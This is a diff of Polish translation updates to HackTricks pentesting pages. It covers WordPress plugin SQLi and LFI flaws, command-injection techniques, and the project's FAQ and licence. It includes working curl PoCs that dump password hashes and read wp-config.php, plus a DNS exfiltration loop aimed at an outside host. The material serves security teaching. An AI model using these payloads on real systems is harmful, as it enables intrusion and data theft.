| - Zawsze traktuj nonces wyłącznie jako tokeny CSRF; wymuszaj sprawdzenia uprawnień niezależnie od stanu nonce | ||||
| - Wymagaj current_user_can('install_plugins') oraz current_user_can('activate_plugins') przed dotarciem do kodu instalatora | ||||
| - Odrzucaj nieuwierzytelniony dostęp; unikaj udostępniania nopriv AJAX actions dla uprzywilejowanych przepływów | ||||
| Wzmocnienie | ||||
| - Zawsze traktuj nonce jako tokeny CSRF tylko; wymuszaj sprawdzenia uprawnień niezależnie od stanu nonce | ||||
| - Wymagaj current_user_can('install_plugins') i current_user_can('activate_plugins') przed dotarciem do kodu instalatora | ||||
| - Odrzucaj dostęp bez uwierzytelnienia; unikaj ujawniania nopriv AJAX actions dla uprzywilejowanych przepływów | ||||
| 
 | ||||
| --- | ||||
| 
 | ||||
| ## Niezalogowany SQLi via s search parameter in depicter-* actions (Depicter Slider ≤ 3.6.1) | ||||
| ## SQLi bez uwierzytelnienia przez parametr s (search) w akcjach depicter-* (Depicter Slider ≤ 3.6.1) | ||||
| 
 | ||||
| Wiele akcji depicter-* wykorzystywało parametr s (search) i konkatenowało go w zapytaniach SQL bez parametryzacji. | ||||
| Wiele akcji depicter-* pobierało parametr s (search) i konkatenowało go do zapytań SQL bez parametryzacji. | ||||
| 
 | ||||
| - Parameter: s (search) | ||||
| - Flaw: bezpośrednia konkatenacja łańcuchów w klauzulach WHERE/LIKE; brak użycia zapytań przygotowanych i sanitizacji | ||||
| - Impact: eksfiltracja bazy danych (użytkownicy, hashe), lateral movement | ||||
| - Parametr: s (search) | ||||
| - Błąd: bezpośrednie konkatenowanie łańcuchów w klauzulach WHERE/LIKE; brak zapytań przygotowanych i sanitizacji | ||||
| - Wpływ: eksfiltracja bazy danych (użytkownicy, hashe), lateral movement | ||||
| 
 | ||||
| PoC | ||||
| ```bash | ||||
| @ -813,37 +813,37 @@ curl -G "https://victim.tld/wp-admin/admin-ajax.php" \ | ||||
| --data-urlencode "s=' UNION SELECT user_login,user_pass FROM wp_users-- -" | ||||
| ``` | ||||
| Detection checklist | ||||
| - Przeszukaj (grep) depicter-* action handlers oraz bezpośrednie użycie $_GET['s'] lub $_POST['s'] w SQL | ||||
| - Przejrzyj niestandardowe zapytania przekazywane do $wpdb->get_results()/query(), łączące s | ||||
| - Grepuj depicter-* action handlers oraz bezpośrednie użycie $_GET['s'] lub $_POST['s'] w zapytaniach SQL | ||||
| - Przejrzyj niestandardowe zapytania przekazywane do $wpdb->get_results()/query() łączące parametr s | ||||
| 
 | ||||
| Hardening | ||||
| - Zawsze używaj $wpdb->prepare() lub wpdb placeholders; odrzucaj nieoczekiwane metaznaki po stronie serwera | ||||
| - Dodaj ścisłą białą listę dla s i normalizuj do oczekiwanego zestawu znaków/długości | ||||
| - Dodaj ścisłą allowlistę dla s i normalizuj do oczekiwanego charset/length | ||||
| 
 | ||||
| --- | ||||
| 
 | ||||
| ## Unauthenticated Local File Inclusion via niezwalidowanej ścieżki szablonu/pliku (Kubio AI Page Builder ≤ 2.5.1) | ||||
| ## Local File Inclusion bez uwierzytelnienia przez niezwalidowaną ścieżkę szablonu/pliku (Kubio AI Page Builder ≤ 2.5.1) | ||||
| 
 | ||||
| Akceptowanie ścieżek kontrolowanych przez atakującego w parametrze template bez normalizacji/izolacji pozwala na odczyt dowolnych lokalnych plików, a czasami na wykonanie kodu, jeśli pliki PHP/log możliwe do include zostaną załadowane w czasie wykonywania. | ||||
| Akceptowanie ścieżek kontrolowanych przez atakującego w parametrze szablonu bez normalizacji/ograniczenia pozwala na odczyt dowolnych lokalnych plików, a czasem wykonanie kodu jeśli includowalne pliki PHP/logi zostaną załadowane do runtime. | ||||
| 
 | ||||
| - Parameter: __kubio-site-edit-iframe-classic-template | ||||
| - Flaw: brak normalizacji/białej listy; traversal permitted | ||||
| - Impact: ujawnienie sekretów (wp-config.php), potencjalne RCE w określonych środowiskach (log poisoning, includable PHP) | ||||
| - Flaw: brak normalizacji/allowlisty; path traversal dozwolony | ||||
| - Impact: ujawnienie sekretów (wp-config.php), potencjalne RCE w specyficznych środowiskach (log poisoning, includable PHP) | ||||
| 
 | ||||
| PoC – read wp-config.php | ||||
| PoC – odczyt wp-config.php | ||||
| ```bash | ||||
| curl -i "https://victim.tld/?__kubio-site-edit-iframe-classic-template=../../../../wp-config.php" | ||||
| ``` | ||||
| Lista kontrolna wykrywania | ||||
| - Każdy handler łączący ścieżki żądań i przekazujący je do include()/require()/read sinks bez kontroli za pomocą realpath() | ||||
| - Szukaj wzorców traversal (../), które prowadzą poza zamierzony katalog szablonów | ||||
| - Każdy handler łączący ścieżki żądań w include()/require()/read sinks bez ograniczenia przez realpath() | ||||
| - Szukaj wzorców traversal (../) wychodzących poza zamierzony katalog templates | ||||
| 
 | ||||
| Wzmocnienie zabezpieczeń | ||||
| - Wymuś listę dozwolonych (allowlisted) szablonów; rozwiąż ścieżki przez realpath() i sprawdź str_starts_with(realpath(file), realpath(allowed_base)) | ||||
| Wzmocnienie | ||||
| - Wymuszaj szablony z allowlisty; rozwiąż ścieżki za pomocą realpath() i wymagaj str_starts_with(realpath(file), realpath(allowed_base)) | ||||
| - Normalizuj wejście; odrzucaj sekwencje traversal i ścieżki bezwzględne; używaj sanitize_file_name() tylko dla nazw plików (nie pełnych ścieżek) | ||||
| 
 | ||||
| 
 | ||||
| ## Źródła | ||||
| ## References | ||||
| 
 | ||||
| - [Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/) | ||||
| - [Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin](https://patchstack.com/articles/multiple-critical-vulnerabilities-patched-in-wp-job-portal-plugin/) | ||||
|  | ||||
| @ -4,11 +4,11 @@ | ||||
| 
 | ||||
| ## Czym jest command Injection? | ||||
| 
 | ||||
| Atak **command injection** umożliwia wykonanie dowolnych poleceń systemu operacyjnego przez atakującego na serwerze hostującym aplikację. W efekcie aplikacja i wszystkie jej dane mogą zostać całkowicie skompromitowane. Wykonanie tych poleceń zazwyczaj pozwala atakującemu uzyskać nieautoryzowany dostęp lub kontrolę nad środowiskiem aplikacji i systemem, na którym działa. | ||||
| A **command injection** pozwala atakującemu na serwerze hostującym aplikację wykonać dowolne polecenia systemu operacyjnego. W rezultacie aplikacja oraz wszystkie jej dane mogą zostać całkowicie przejęte. Wykonanie tych poleceń zazwyczaj umożliwia atakującemu uzyskanie nieautoryzowanego dostępu lub kontroli nad środowiskiem aplikacji i systemem, na którym ona działa. | ||||
| 
 | ||||
| ### Kontekst | ||||
| 
 | ||||
| W zależności od tego, **gdzie jest wstrzykiwane twoje wejście**, może być konieczne **zakończenie kontekstu cytowania** (używając `"` lub `'`) przed poleceniami. | ||||
| W zależności od tego, **gdzie są wstrzykiwane Twoje dane wejściowe**, może być konieczne **zamknięcie kontekstu cytowania** (używając `"` lub `'`) przed dodaniem poleceń. | ||||
| 
 | ||||
| ## Command Injection/Execution | ||||
| ```bash | ||||
| @ -30,10 +30,9 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful | ||||
| > /var/www/html/out.txt #Try to redirect the output to a file | ||||
| < /etc/passwd #Try to send some input to the command | ||||
| ``` | ||||
| ### **Ograniczenia** Bypasses | ||||
| 
 | ||||
| Jeśli próbujesz wykonać **dowolne polecenia na maszynie linux**, zainteresuje Cię lektura na temat tych **Bypasses:** | ||||
| ### **Ograniczenia** Obejścia | ||||
| 
 | ||||
| Jeśli próbujesz wykonać **dowolne polecenia w maszynie linux**, zainteresuje Cię lektura o tych **obejściach:** | ||||
| 
 | ||||
| {{#ref}} | ||||
| ../linux-hardening/bypass-bash-restrictions/ | ||||
| @ -77,7 +76,7 @@ Poniżej znajduje się lista 25 najważniejszych parametrów, które mogą być | ||||
| ``` | ||||
| ### Time based data exfiltration | ||||
| 
 | ||||
| Wyodrębnianie danych: char by char | ||||
| Ekstrakcja danych: char by char | ||||
| ``` | ||||
| swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi | ||||
| real    0m5.007s | ||||
| @ -91,7 +90,7 @@ sys 0m0.000s | ||||
| ``` | ||||
| ### DNS based data exfiltration | ||||
| 
 | ||||
| Opiera się na narzędziu z `https://github.com/HoLyVieR/dnsbin`, które jest również hostowane na dnsbin.zhack.ca | ||||
| Oparte na narzędziu z `https://github.com/HoLyVieR/dnsbin`, również hostowanym na dnsbin.zhack.ca | ||||
| ``` | ||||
| 1. Go to http://dnsbin.zhack.ca/ | ||||
| 2. Execute a simple 'ls' | ||||
| @ -101,7 +100,7 @@ for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done | ||||
| ``` | ||||
| $(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il) | ||||
| ``` | ||||
| Narzędzia online do sprawdzania DNS based data exfiltration: | ||||
| Narzędzia online do sprawdzenia DNS based data exfiltration: | ||||
| 
 | ||||
| - dnsbin.zhack.ca | ||||
| - pingb.in | ||||
| @ -122,7 +121,7 @@ powershell C:**2\n??e*d.*? # notepad | ||||
| 
 | ||||
| ### Node.js `child_process.exec` vs `execFile` | ||||
| 
 | ||||
| Podczas audytu backendów JavaScript/TypeScript często natrafisz na API Node.js `child_process`. | ||||
| Podczas audytu back-endów JavaScript/TypeScript często natkniesz się na API Node.js `child_process`. | ||||
| ```javascript | ||||
| // Vulnerable: user-controlled variables interpolated inside a template string | ||||
| const { exec } = require('child_process'); | ||||
| @ -130,9 +129,9 @@ exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(pay | ||||
| /* … */ | ||||
| }); | ||||
| ``` | ||||
| `exec()` uruchamia **shell** (`/bin/sh -c`), dlatego każdy znak mający specjalne znaczenie dla shell (back-ticks, `;`, `&&`, `|`, `$()`, …) spowoduje **command injection**, gdy dane wejściowe użytkownika są konkatenowane w ciągu znaków. | ||||
| `exec()` uruchamia **shell** (`/bin/sh -c`), dlatego każdy znak mający specjalne znaczenie dla **shell** (back-ticks, `;`, `&&`, `|`, `$()`, …) spowoduje **command injection**, gdy dane wejściowe użytkownika są konkatenowane do ciągu znaków. | ||||
| 
 | ||||
| **Środki zaradcze:** użyj `execFile()` (lub `spawn()` bez opcji `shell`) i przekazuj **każdy argument jako oddzielny element tablicy**, aby żaden shell nie był zaangażowany: | ||||
| **Zalecenie:** użyj `execFile()` (lub `spawn()` bez opcji `shell`) i podaj **każdy argument jako oddzielny element tablicy**, aby nie był używany **shell**: | ||||
| ```javascript | ||||
| const { execFile } = require('child_process'); | ||||
| execFile('/usr/bin/do-something', [ | ||||
| @ -140,25 +139,25 @@ execFile('/usr/bin/do-something', [ | ||||
| '--payload', JSON.stringify(payload) | ||||
| ]); | ||||
| ``` | ||||
| Real-world case: *Synology Photos* ≤ 1.7.0-0794 był podatny na atak przez nieautoryzowane zdarzenie WebSocket, które umieszczało dane kontrolowane przez atakującego w `id_user`, a następnie były one osadzane w wywołaniu `exec()`, co prowadziło do RCE (Pwn2Own Ireland 2024). | ||||
| Real-world case: *Synology Photos* ≤ 1.7.0-0794 było podatne na atak przez nieautoryzowane zdarzenie WebSocket, które umieszczało dane kontrolowane przez atakującego w `id_user`, które później zostały osadzone w wywołaniu `exec()`, osiągając RCE (Pwn2Own Ireland 2024). | ||||
| 
 | ||||
| ### Argument/Option injection via leading hyphen (argv, no shell metacharacters) | ||||
| 
 | ||||
| Not all injections require shell metacharacters. If the application passes untrusted strings as arguments to a system utility (even with `execve`/`execFile` and no shell), many programs will still parse any argument that begins with `-` or `--` as an option. This lets an attacker flip modes, change output paths, or trigger dangerous behaviors without ever breaking into a shell. | ||||
| 
 | ||||
| Typical places where this appears: | ||||
| Typowe miejsca, w których się to pojawia: | ||||
| 
 | ||||
| - Wbudowane web UIs/CGI handlers, które budują polecenia takie jak `ping <user>`, `tcpdump -i <iface> -w <file>`, `curl <url>`, itd. | ||||
| - Scentralizowane CGI routers (np. `/cgi-bin/<something>.cgi` z parametrem selektora takim jak `topicurl=<handler>`), gdzie wiele handlerów ponownie używa tego samego słabego walidatora. | ||||
| - Embedded web UIs/CGI handlers that build commands like `ping <user>`, `tcpdump -i <iface> -w <file>`, `curl <url>`, etc. | ||||
| - Centralized CGI routers (e.g., `/cgi-bin/<something>.cgi` with a selector parameter like `topicurl=<handler>`) where multiple handlers reuse the same weak validator. | ||||
| 
 | ||||
| What to try: | ||||
| Co spróbować: | ||||
| 
 | ||||
| - Podaj wartości zaczynające się od `-`/`--`, aby zostały potraktowane jako flagi przez narzędzie docelowe. | ||||
| - Nadużyj flag, które zmieniają zachowanie lub zapisują pliki, na przykład: | ||||
|   - `ping`: `-f`/`-c 100000` aby obciążyć urządzenie (DoS) | ||||
|   - `curl`: `-o /tmp/x` aby zapisać w dowolnej ścieżce, `-K <url>` aby załadować konfigurację kontrolowaną przez atakującego | ||||
|   - `tcpdump`: `-G 1 -W 1 -z /path/script.sh` aby uzyskać wykonanie po rotacji (post-rotate) w niebezpiecznych wrapperach | ||||
| - Jeśli program obsługuje `--` jako koniec opcji, spróbuj obejść naiwną ochronę, która dopisuje `--` w niewłaściwym miejscu. | ||||
| - Provide values that start with `-`/`--` to be consumed as flags by the downstream tool. | ||||
| - Abuse flags that change behavior or write files, for example: | ||||
| - `ping`: `-f`/`-c 100000` aby obciążyć urządzenie (DoS) | ||||
| - `curl`: `-o /tmp/x` aby zapisać do dowolnej ścieżki, `-K <url>` aby załadować konfigurację kontrolowaną przez atakującego | ||||
| - `tcpdump`: `-G 1 -W 1 -z /path/script.sh` aby osiągnąć wykonanie po rotacji w niebezpiecznych wrapperach | ||||
| - If the program supports `--` end-of-options, try to bypass naive mitigations that prepend `--` in the wrong place. | ||||
| 
 | ||||
| Generic PoC shapes against centralized CGI dispatchers: | ||||
| ``` | ||||
| @ -178,7 +177,7 @@ topicurl=setEasyMeshAgentCfg&agentName=;id; | ||||
| https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt | ||||
| {{#endref}} | ||||
| 
 | ||||
| ## Źródła | ||||
| ## Referencje | ||||
| 
 | ||||
| - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection) | ||||
| - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection) | ||||
|  | ||||
| @ -1,21 +1,21 @@ | ||||
| # Wartości HackTricks i FAQ | ||||
| # HackTricks Wartości i FAQ | ||||
| 
 | ||||
| {{#include ../banners/hacktricks-training.md}} | ||||
| 
 | ||||
| ## Wartości HackTricks | ||||
| 
 | ||||
| > [!TIP] | ||||
| > Oto **wartości projektu HackTricks**: | ||||
| > To są **wartości projektu HackTricks**: | ||||
| > | ||||
| > - Zapewnić **FREE** dostęp do **EDUCATIONAL hacking** zasobów dla **ALL** Internetu. | ||||
| >  - Hacking polega na uczeniu się, a nauka powinna być możliwie jak najbardziej darmowa. | ||||
| >  - Celem tej książki jest służenie jako kompleksowy zasób edukacyjny. | ||||
| > - **STORE** świetne **hacking** techniki publikowane przez społeczność, oddając **ORIGINAL** **AUTHORS** wszystkie **credits**. | ||||
| >  - **We don't want the credit from other people**, chcemy po prostu przechowywać fajne sztuczki dla wszystkich. | ||||
| >  - Publikujemy także **our own researches** w HackTricks. | ||||
| >  - W kilku przypadkach opiszemy w HackTricks jedynie **podsumowanie najważniejszych części** techniki i **zachęcimy lektora do odwiedzenia oryginalnego wpisu** po więcej szczegółów. | ||||
| > - **ORGANIZE** wszystkie techniki **hacking** w książce, aby były **MORE ACCESSIBLE** | ||||
| >  - Zespół HackTricks poświęcił tysiące godzin za darmo **wyłącznie na organizację treści**, aby ludzie mogli **uczyć się szybciej** | ||||
| > - Zapewnić **DARMOWY** dostęp do **EDUKACYJNYCH zasobów hacking** dla **CAŁEGO** Internetu. | ||||
| >  - Hacking polega na nauce, a nauka powinna być możliwie jak najbardziej darmowa. | ||||
| >  - Celem tej książki jest służyć jako kompleksowe **materiały edukacyjne**. | ||||
| > - **PRZECHOWYWAĆ** świetne techniki **hacking**, które publikuje społeczność, dając **ORYGINALNYM** **AUTOROM** wszystkie **zasługi**. | ||||
| >  - **Nie chcemy zabierać zasług innym**, chcemy tylko przechowywać fajne triki dla wszystkich. | ||||
| >  - Pisujemy także **własne badania** w HackTricks. | ||||
| >  - W kilku przypadkach napiszemy tylko **w HackTricks streszczenie ważnych części** techniki i **zachęcimy czytelnika do odwiedzenia oryginalnego posta** po więcej szczegółów. | ||||
| > - **ORGANIZOWAĆ** wszystkie techniki hacking w książce, aby były **BARDZIEJ DOSTĘPNE** | ||||
| >  - Zespół HackTricks poświęcił tysiące godzin za darmo **tylko na organizację treści**, aby ludzie mogli **uczyć się szybciej** | ||||
| 
 | ||||
| <figure><img src="../images/hack tricks gif.gif" alt="" width="375"><figcaption></figcaption></figure> | ||||
| 
 | ||||
| @ -23,35 +23,35 @@ | ||||
| 
 | ||||
| > [!TIP] | ||||
| > | ||||
| > - **Thank you so much for these resources, how can I thank you?** | ||||
| > - **Bardzo dziękuję za te zasoby, jak mogę Wam podziękować?** | ||||
| 
 | ||||
| Możesz publicznie podziękować zespołowi HackTricks za udostępnienie tych zasobów, publikując tweet i wspominając [**@hacktricks_live**](https://twitter.com/hacktricks_live).\ | ||||
| Jeśli jesteś szczególnie wdzięczny możesz również [**sponsor the project here**](https://github.com/sponsors/carlospolop).\ | ||||
| I nie zapomnij dać gwiazdki projektom na GitHubie! (Linki znajdziesz poniżej). | ||||
| Możesz publicznie podziękować zespołowi HackTricks za udostępnienie wszystkich tych zasobów, publikując tweet i wspominając [**@hacktricks_live**](https://twitter.com/hacktricks_live).\ | ||||
| Jeśli jesteś szczególnie wdzięczny możesz także [**sponsorować projekt tutaj**](https://github.com/sponsors/carlospolop).\ | ||||
| I nie zapomnij **dać gwiazdki projektom Github!** (Znajdziesz linki poniżej). | ||||
| 
 | ||||
| > [!TIP] | ||||
| > | ||||
| > - **How can I contribute to the project?** | ||||
| > - **Jak mogę przyczynić się do projektu?** | ||||
| 
 | ||||
| Możesz **dzielić się nowymi tips and tricks ze społecznością lub naprawiać błędy**, które znajdziesz w książkach, wysyłając **Pull Request** do odpowiednich stron na Github: | ||||
| Możesz **dzielić się nowymi wskazówkami i trikami ze społecznością lub naprawiać błędy**, które znajdziesz w książkach, wysyłając **Pull Request** do odpowiednich stron Github: | ||||
| 
 | ||||
| - [https://github.com/carlospolop/hacktricks](https://github.com/carlospolop/hacktricks) | ||||
| - [https://github.com/carlospolop/hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud) | ||||
| 
 | ||||
| Nie zapomnij dać gwiazdki projektom na Githubie! | ||||
| Nie zapomnij **dać gwiazdki projektom Github!** | ||||
| 
 | ||||
| > [!TIP] | ||||
| > | ||||
| > - **Can I copy some content from HackTricks and put it in my blog?** | ||||
| > - **Czy mogę skopiować część treści z HackTricks i zamieścić ją na moim blogu?** | ||||
| 
 | ||||
| Tak, możesz, ale **nie zapomnij wspomnieć konkretnych link(ów)**, skąd pochodziła zawartość. | ||||
| Tak, możesz, ale **nie zapomnij podać konkretnego linku(-ów)**, z których pochodzi treść. | ||||
| 
 | ||||
| > [!TIP] | ||||
| > | ||||
| > - **How can I reference a page of HackTricks?** | ||||
| > - **Jak mogę odnieść się do strony HackTricks?** | ||||
| 
 | ||||
| Dopóki pojawi się link do strony/stron, z których wzięto informacje, to wystarczy.\ | ||||
| Jeśli potrzebujesz bibtex możesz użyć czegoś takiego: | ||||
| Wystarczy, że pojawi się link **do** strony(-st), z której wzięto informacje.\ | ||||
| Jeśli potrzebujesz bibtex, możesz użyć czegoś takiego: | ||||
| ```latex | ||||
| @misc{hacktricks-bibtexing, | ||||
| author = {"HackTricks Team" or the Authors name of the specific page/trick}, | ||||
| @ -62,82 +62,82 @@ url = {\url{https://book.hacktricks.wiki/specific-page}}, | ||||
| ``` | ||||
| > [!WARNING] | ||||
| > | ||||
| > - **Czy mogę skopiować wszystkie HackTricks na mój blog?** | ||||
| > - **Can I copy all HackTricks in my blog?** | ||||
| 
 | ||||
| **Wolałbym nie**. To **nie przyniesie korzyści nikomu**, ponieważ cała **zawartość jest już publicznie dostępna** w oficjalnych książkach HackTricks za darmo. | ||||
| 
 | ||||
| Jeśli obawiasz się, że zniknie, po prostu zforkuj to na Github lub pobierz — jak już powiedziałem, jest już dostępne za darmo. | ||||
| Jeśli obawiasz się, że zniknie, po prostu zrób fork na Github lub pobierz ją — jak mówiłem, już jest darmowa. | ||||
| 
 | ||||
| > [!WARNING] | ||||
| > | ||||
| > - **Dlaczego macie sponsorów? Czy książki HackTricks mają cele komercyjne?** | ||||
| > - **Why do you have sponsors? Are HackTricks books for commercial purposes?** | ||||
| 
 | ||||
| Pierwsza **wartość** HackTricks to oferowanie **DARMOWYCH** edukacyjnych zasobów o hacking dla **CAŁEGO** świata. Zespół HackTricks poświęcił **tysiące godzin**, aby udostępnić te materiały, ponownie, **ZA DARMO**. | ||||
| Pierwsza wartość HackTricks to oferowanie **DARMOWYCH** materiałów edukacyjnych z zakresu hacking dla **CAŁEGO** świata. Zespół HackTricks poświęcił **tysiące godzin**, aby dostarczyć tę zawartość, ponownie, **ZA DARMO**. | ||||
| 
 | ||||
| Jeśli myślisz, że książki HackTricks są tworzone w **celach komercyjnych**, to jesteś **CAŁKOWICIE W BŁĘDZIE**. | ||||
| Jeśli myślisz, że książki HackTricks są tworzone w celach **komercyjnych**, to jesteś **CAŁKOWICIE W BŁĘDZIE**. | ||||
| 
 | ||||
| Mamy sponsorów, ponieważ nawet jeśli cała zawartość jest DARMOWA, chcemy **dać społeczności możliwość docenienia naszej pracy**, jeśli tego chcą. Dlatego oferujemy opcję przekazania wsparcia HackTricks poprzez [**Github sponsors**](https://github.com/sponsors/carlospolop), oraz dajemy **odpowiednim firmom z branży cybersecurity** możliwość sponsorowania HackTricks i umieszczania **niektórych reklam** w książce — **reklamy** są zawsze umieszczane w miejscach, w których są **widoczne**, ale **nie przeszkadzają w nauce**, jeśli ktoś skupia się na treści. | ||||
| Mamy sponsorów, ponieważ nawet jeśli cała zawartość jest DARMOWA, chcemy **dać społeczności możliwość docenienia naszej pracy**, jeśli tak zechce. W związku z tym oferujemy ludziom opcję wsparcia HackTricks za pośrednictwem [**Github sponsors**](https://github.com/sponsors/carlospolop), a także współpracujemy z **istotnymi firmami z branży cybersecurity**, które sponsorują HackTricks i umieszczają w książce **pewne reklamy** — reklamy zawsze są umieszczane w miejscach, które sprawiają, że są **widoczne**, ale **nie przeszkadzają w procesie nauki**, jeśli ktoś skupia się na treści. | ||||
| 
 | ||||
| Nie znajdziesz HackTricks wypełnionego irytującymi reklamami jak inne blogi z dużo mniejszą zawartością niż HackTricks, ponieważ HackTricks nie jest tworzony w celach komercyjnych. | ||||
| Nie znajdziesz HackTricks wypełnionego irytującymi reklamami jak na innych blogach z o wiele mniejszą zawartością niż HackTricks, ponieważ HackTricks nie jest tworzony w celach komercyjnych. | ||||
| 
 | ||||
| > [!CAUTION] | ||||
| > | ||||
| > - **Co zrobić, jeśli jakaś strona HackTricks jest oparta na moim wpisie na blogu, ale nie została do niej odniesiona?** | ||||
| > - **What should I do if some HackTricks page is based on my blog post but it isn't referenced?** | ||||
| 
 | ||||
| **Bardzo przepraszamy. To nie powinno się zdarzyć**. Proszę, daj nam znać przez Github issues, Twitter, Discord... podaj link do strony HackTricks z treścią oraz link do twojego bloga i **sprawdzimy to i dodamy jak najszybciej**. | ||||
| **Bardzo przepraszamy. To nie powinno się zdarzyć.** Prosimy, daj nam znać przez Github issues, Twitter, Discord... podaj link do strony HackTricks z tą treścią oraz link do Twojego bloga i **sprawdzimy to i dodamy odnośnik ASAP**. | ||||
| 
 | ||||
| > [!CAUTION] | ||||
| > | ||||
| > - **Co zrobić, jeśli treść z mojego bloga znajduje się w HackTricks i nie chcę jej tam mieć?** | ||||
| > - **What should I do if there is content from my blog in HackTricks and I don't want it there?** | ||||
| 
 | ||||
| Zauważ, że posiadanie linków do twojej strony w HackTricks: | ||||
| Zauważ, że posiadanie linków do Twojej strony w HackTricks: | ||||
| 
 | ||||
| - Poprawia twoje **SEO** | ||||
| - Zawartość jest **tłumaczona na ponad 15 języków**, co umożliwia większej liczbie osób dostęp do tej treści | ||||
| - **HackTricks zachęca** ludzi do **sprawdzenia twojej strony** (wiele osób wspomniało nam, że odkąd któraś z ich stron pojawiła się w HackTricks, otrzymują więcej odwiedzin) | ||||
| - Poprawia Twoje **SEO** | ||||
| - Treść jest **tłumaczona na ponad 15 języków**, co umożliwia większej liczbie osób dostęp do tej treści | ||||
| - **HackTricks zachęca** ludzi do **odwiedzenia Twojej strony** (wiele osób wspominało, że odkąd jakaś ich strona pojawiła się w HackTricks, otrzymują więcej odwiedzin) | ||||
| 
 | ||||
| Jeśli mimo to chcesz, aby treść twojego bloga została usunięta z HackTricks, po prostu daj nam znać, a my **usunziemy każdy link do twojego bloga** i wszelką zawartość na nim opartą. | ||||
| Jednak jeśli nadal chcesz, aby treść z Twojego bloga została usunięta z HackTricks, po prostu daj nam znać, a **definitywnie usuniemy wszystkie linki do Twojego bloga** oraz wszelką treść opartą na nim. | ||||
| 
 | ||||
| > [!CAUTION] | ||||
| > | ||||
| > - **Co zrobić, jeśli znajdę skopiowaną zawartość w HackTricks?** | ||||
| > - **What should I do if I find copy-pasted content in HackTricks?** | ||||
| 
 | ||||
| Zawsze **przyznajemy oryginalnym autorom pełne zasługi**. Jeśli znajdziesz stronę ze skopiowaną zawartością bez podania źródła, daj nam znać, a my albo **usunemy ją**, **dodamy link przed tekstem**, albo **przepiszemy ją dodając link**. | ||||
| Zawsze **przyznajemy oryginalnym autorom wszelkie zasługi**. Jeśli znajdziesz stronę z kopiowaną treścią bez odwołania do źródła, daj nam znać, a my **usunemy ją**, **dodamy link przed tekstem** lub **przepiszemy treść dodając odnośnik**. | ||||
| 
 | ||||
| ## LICENSE | ||||
| ## LICENCJA | ||||
| 
 | ||||
| Copyright © Wszelkie prawa zastrzeżone, chyba że zaznaczono inaczej. | ||||
| Copyright © Wszystkie prawa zastrzeżone, chyba że określono inaczej. | ||||
| 
 | ||||
| #### License Summary: | ||||
| #### Podsumowanie licencji: | ||||
| 
 | ||||
| - Attribution: Masz prawo: | ||||
| - Share — kopiować i rozpowszechniać materiał w dowolnym medium lub formacie. | ||||
| - Adapt — remiksować, przekształcać i tworzyć na bazie materiału. | ||||
| - Uznanie autorstwa: Masz prawo do: | ||||
| - Share — kopiowania i rozpowszechniania materiału w dowolnym medium lub formacie. | ||||
| - Adapt — remiksowania, przekształcania i tworzenia na bazie materiału. | ||||
| 
 | ||||
| #### Additional Terms: | ||||
| #### Dodatkowe warunki: | ||||
| 
 | ||||
| - Third-Party Content: Niektóre części tego bloga/książki mogą zawierać treści pochodzące z innych źródeł, takie jak fragmenty z innych blogów lub publikacji. Wykorzystanie takich treści odbywa się zgodnie z zasadami fair use lub za wyraźną zgodą odpowiednich właścicieli praw autorskich. Prosimy o zapoznanie się z oryginalnymi źródłami w celu uzyskania informacji o konkretnych licencjach dotyczących treści stron trzecich. | ||||
| - Authorship: Oryginalne treści autorstwa HackTricks podlegają warunkom tej licencji. Zachęcamy do przypisywania autorstwa przy udostępnianiu lub adaptowaniu tej pracy. | ||||
| - Treści osób trzecich: Niektóre części tego bloga/książki mogą zawierać materiały pochodzące z innych źródeł, takie jak fragmenty z innych blogów lub publikacji. Korzystanie z takich materiałów odbywa się w ramach zasad dozwolonego użytku (fair use) lub za wyraźną zgodą odpowiednich właścicieli praw autorskich. Prosimy odwołać się do oryginalnych źródeł w celu uzyskania szczegółowych informacji na temat licencjonowania treści osób trzecich. | ||||
| - Autorstwo: Oryginalne treści napisane przez HackTricks podlegają warunkom tej licencji. Zachęcamy do przypisywania autorstwa przy udostępnianiu lub adaptowaniu tej pracy. | ||||
| 
 | ||||
| #### Exemptions: | ||||
| #### Wyłączenia: | ||||
| 
 | ||||
| - Commercial Use: W sprawach dotyczących komercyjnego wykorzystania tych treści, prosimy o kontakt. | ||||
| - Użytek komercyjny: W sprawach dotyczących komercyjnego wykorzystania tej zawartości, proszę o kontakt ze mną. | ||||
| 
 | ||||
| Niniejsza licencja nie przyznaje żadnych praw do znaków towarowych ani do brandingu w związku z treścią. Wszystkie znaki towarowe i branding występujące w tym blogu/książce są własnością ich odpowiednich właścicieli. | ||||
| Niniejsza licencja nie przyznaje żadnych praw do znaków towarowych ani brandingowych związanych z treścią. Wszystkie znaki towarowe i elementy brandingu widoczne w tym blogu/książce są własnością ich odpowiednich właścicieli. | ||||
| 
 | ||||
| **Korzystając z HackTricks, akceptujesz warunki tej licencji. Jeśli nie zgadzasz się z tymi warunkami, prosimy nie korzystać z tej strony.** | ||||
| **Korzystając z HackTricks lub uzyskując do niego dostęp, zgadzasz się przestrzegać warunków tej licencji. Jeśli nie zgadzasz się z tymi warunkami, prosimy nie uzyskiwać dostępu do tej witryny.** | ||||
| 
 | ||||
| ## **Disclaimer** | ||||
| ## **Zrzeczenie odpowiedzialności** | ||||
| 
 | ||||
| > [!CAUTION] | ||||
